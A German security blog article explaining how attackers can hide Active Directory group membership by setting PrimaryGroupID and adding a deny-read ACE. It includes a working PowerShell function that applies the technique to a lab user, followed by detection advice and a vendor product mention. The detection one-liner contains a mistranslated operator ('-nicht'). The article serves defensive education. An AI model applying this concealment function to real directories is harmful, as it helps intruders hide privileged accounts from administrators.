Yuval Gordon Sicherheitsforscher | Microsoft

Identitätssysteme - insbesondere Active Directory, der primäre Identitätsspeicher für die meisten Unternehmen - werden ständig von Cyberkriminellen angegriffen, da sie das Tor zu den kritischen Informationssystemen eines Unternehmens sind, einschließlich wertvoller Kundendaten.

Hier werden wir eine wenig bekannte DACL-Taktik (Discretionary Access Control List) untersuchen, die Angreifer verwenden können, um die Mitgliedschaft in einer Gruppe zu verbergen und möglicherweise der Entdeckung zu entgehen. Durch die Verwendung des Attributs Primäre Gruppen-ID und eines bestimmten Zugriffskontrolleintrags (ACE) können Sie die Mitgliedschaft in einer Gruppe verbergen, in der Sie bereits Mitglied sind - ohne irgendwelche Berechtigungen für die Gruppe zu haben. Dieser coole Trick funktioniert nicht bei Mitgliedern geschützter Gruppen wie Domain Admins, aber bei Mitgliedern normaler Gruppen wie DnsAdmins, die zur Eskalation zu Domain Admins verwendet werden können.

Verwandte Lektüre

Wie Active Directory normale Gruppenmitgliedschaften behandelt

Um vollständig zu verstehen, was diese Technik hinzufügt, müssen wir zunächst ein Grundwissen darüber haben, wie Gruppenmitgliedschaften von Active Directory gehandhabt werden. Jeder Domänencontroller in einer Domäne speichert eine Active Directory-Datenbank (ntds.dit). In jeder ntds.dit gibt es eine Spalte namens DNT (Distinguished Name Tag), die so etwas wie die ID des Objekts in der Datenbank ist. Wenn wir einen Benutzer zu einer Gruppe hinzufügen, fügt der Domänencontroller eine Zeile in eine Tabelle namens "link_table" ein, die eine Verknüpfung zwischen dem DNT des Mitglieds (backlink_DNT) und dem DNT der Gruppe (link_DNT) speichert.

So weit so einfach, aber das ist noch nicht alles, was die Gruppenmitgliedschaft ausmacht. Es gibt ein weiteres Attribut namens PrimaryGroupID (PGID), das den Relative Identifier (RID) der primären Gruppe des Benutzers angibt, der der letzte Teil einer Haupt-SID ist (Haupt-SID = Domänen-SID + RID). Dieses Attribut ist standardmäßig auf 513 (Domänenbenutzer) für neue Benutzer, 515 (Domänencomputer) für neue Computer, 516 (Domänencontroller) für Domänencontroller und 521 für schreibgeschützte Domänencontroller eingestellt. Dieses Attribut kann auch durch Klicken auf die Schaltfläche "Primärgruppe festlegen" auf der Registerkarte "Mitglied von" im Tool Active Directory-Benutzer und -Computer festgelegt werden, wenn der Zielbenutzer über den erforderlichen Schreibzugriff verfügt.

Einstellen der primären Gruppe in Active Directory
Einstellen der primären Gruppe

Mit diesem Tool können wir die primäre Gruppe nur auf eine Gruppe festlegen, in der der Benutzer bereits Mitglied ist. Das Besondere an diesem Attribut - und der Grund, warum Active Directory-Administratoren es kennen sollten, um sich vor Missbrauch durch Angreifer zu schützen - ist, dass Sie durch das Setzen der primären Gruppen-ID (PGID) die Mitgliedschaftsverknüpfung zwischen der Gruppe und dem Mitglied deaktivieren. Mit anderen Worten: Die Verknüpfung wird aus der oben erwähnten link_table entfernt.

"Aber wie kann das sein, Yuval? Wenn ich nach Mitgliedern der Gruppe Domain Admins suche, sehe ich auch Benutzer, deren primäre Gruppe auf Domain Admins eingestellt ist!" Gute Frage, Leser!

Die meisten Tools, die die Mitgliedschaft abfragen, fragen eigentlich zwei Dinge ab. Nehmen wir an, wir möchten alle Mitglieder der Gruppe Domain Admins abfragen:

  1. Das Tool fragt nach dem Attribut Mitglied, wodurch der DC die link_table überprüft und die Objekte zurückgibt, die eine Mitgliederverknüpfung mit der Gruppe Domain Admins haben.
  2. Das Tool sucht nach allen Objekten, die im Attribut PrimaryGroupID den Wert 512 (RID of Domain Admins) haben.

Warum Sie die Verwendung der Primärgruppen-ID überwachen müssen

Durch die Verwendung der primären Gruppen-ID sorgen Sie dafür, dass die Mitgliedschaft in einer der Gruppen in ein Attribut auf der Mitgliederseite geschrieben wird. Um besser zu verstehen, was mit dieser Aktion erreicht werden kann, lassen Sie uns dies aus der Perspektive eines Angreifers betrachten.

Stellen Sie sich vor, dass Sie die Mitgliedschaft eines Benutzers in einer seiner Gruppen verbergen möchten. Bei einer normalen Mitgliedschaft könnten Sie einfach einen Active Directory-Zugriffskontrolleintrag (ACE) angeben, um jedem den Zugriff auf "Gruppenmitgliedschaft lesen" zu verweigern. Aber bei diesem Ansatz wird die Mitgliedschaft des Benutzers fast leer sein (die primäre Gruppe wird immer noch angezeigt), was verdächtig aussehen könnte. Außerdem haben Sie bei diesem Ansatz die Mitgliedschaft nur von der Mitgliederseite und nicht von der Gruppenseite aus verborgen. Wenn also jemand versucht, eines der Mitglieder der Gruppe zu lesen, wird der Benutzer dort immer noch aufgeführt.

An dieser Stelle kommt die PGID ins Spiel: Durch die Angabe der primären Gruppe können Sie die Mitgliedschaft nur auf der Mitgliederseite auflisten lassen. Wenn Sie nun einen ACE hinzufügen, um jedem das Lesen von PGID auf dem Objekt zu verweigern, dann ist eine der Gruppenmitgliedschaften jetzt versteckt - sowohl auf der Seite der Mitglieder als auch auf der Seite der Gruppe.

Wie Angreifer die Primary Group ID nutzen können, um bösartige Benutzer zu verstecken

Mit einer einfachen PowerShell-Funktion können Sie den Benutzer "haxer" vor der Gruppe "attackers" verbergen, indem Sie die PGID in die RID der Gruppe "attackers" ändern und dann ein deny-read auf PGID hinzufügen.

Mitgliedschaft von Seiten der Benutzer
Mitgliedschaft von Seiten der Benutzer

The primary group now shows <None>. Odd, but still might go unnoticed.

Active Directory-Mitgliedschaft von der Gruppenseite aus
Mitgliedschaft von Seiten der Gruppe

Der folgende Code kann verwendet werden, um die Zugehörigkeit zu einer bestimmten Gruppe zu verbergen, in der der Benutzer bereits Mitglied ist, wenn der ausführende Benutzer über die DACL-Schreibberechtigung (Änderungsberechtigungen) für den Zielbenutzer verfügt. Um zum Beispiel mich selbst (haxer) vor der Gruppe der Angreifer zu verstecken, in der ich bereits Mitglied bin (RID 2607), habe ich die oben gezeigte Funktion verwendet. Ich habe das Flag "AddWritePGIDToCurrent" auf true gesetzt, da ich nicht über die erforderlichen Berechtigungen verfügte - ich hatte nur die Berechtigung WriteDACL.

function Hide-Membership {
  param (
    [parameter(Mandatory = $true)]
    [string]$TargetDN,
             
    [parameter(Mandatory = $true)]
    [int]$RID,

    [parameter(Mandatory = $false)]
    [bool]$AddWritePGIDToCurrent = $false
  )

  $target = [ADSI]"LDAP://$TargetDN"
  $identityReference = (New-Object System.Security.Principal.NTAccount("everyone")).Translate([System.Security.Principal.SecurityIdentifier])
  $guid = New-Object Guid "bf967a00-0de6-11d0-a285-00aa003049e2" # Guid of primaryGroupID attribute

  $target.PsBase.Options.SecurityMasks = "Dacl"

  if ($AddWritePGIDToCurrent) {
    $identityReferenceCurrentUser = ([System.Security.Principal.WindowsIdentity]::GetCurrent()).User
    $aceAllow = New-Object System.DirectoryServices.ActiveDirectoryAccessRule @($identityReferenceCurrentUser,"WriteProperty","Allow",$Guid)
    $target.PsBase.ObjectSecurity.AddAccessRule($aceAllow)
    $target.CommitChanges()
  }

  $aceDeny = New-Object System.DirectoryServices.ActiveDirectoryAccessRule @($identityReference,"ReadProperty","Deny",$Guid)

  $target.PsBase.ObjectSecurity.AddAccessRule($aceDeny)
  $target.CommitChanges()
  $target.primarygroupid = $RID 
  $target.CommitChanges()
}
Hide-Membership -TargetDN "CN=haxer,CN=Users,DC=f047-d01,DC=lab" -RID 2607 -AddWritePGIDToCurrent $true

Beachten Sie, dass diese Technik bei Mitgliedern einer Gruppe, die durch den SDPROP-Prozess und AdminSDHolder geschützt ist, nicht funktioniert, da wir uns auf die DACL verlassen, die in diesem Fall einfach jede Stunde oder so auf die DACL von AdminSDHolder zurückgesetzt wird.

Erkennung der böswilligen Verwendung der Primärgruppen-ID zum Verbergen der Mitgliedschaft

Sie können die Verwendung von PGID zum Verbergen der Mitgliedschaft feststellen, indem Sie nach ACEs suchen, die für diese Eigenschaft auf "Deny on Read" gesetzt sind. Ohne die richtigen Tools oder Systeme kann dies jedoch eine schwierige Aufgabe sein.

Eine Möglichkeit besteht darin, die unten stehende Befehlszeile zu verwenden, um regelmäßig nach Benutzern mit einer PGID zu suchen, die Sie nicht lesen können. Mir ist kein legitimer Grund bekannt, warum ein Benutzer eine nicht existierende oder nicht lesbare PGID hat, aber es kann vorkommen, so dass Sie einige falsch positive Ergebnisse sehen könnten.

Get-ADUser -Filter {-nicht(primaryGroupID -like "*")}

Eine einfachere Methode zur Überwachung der böswilligen Nutzung dieser Technik: Semperis Directory Services Protector enthält einen Indikator, der Benutzer mit der Konfiguration "Benutzer und Computer ohne lesbare PGID" überwacht und bei ihnen Alarm schlägt.

Der Schutz von Active Directory vor der ständigen Flut von Angriffen kann eine Herausforderung sein. Indem Sie Ihre Umgebung kontinuierlich auf die vielen Möglichkeiten überwachen, mit denen Angreifer bestimmte Konfigurationen ausnutzen können, können Sie Eindringlinge erkennen und beseitigen, bevor sie sich zu einem umfassenden Verstoß entwickeln.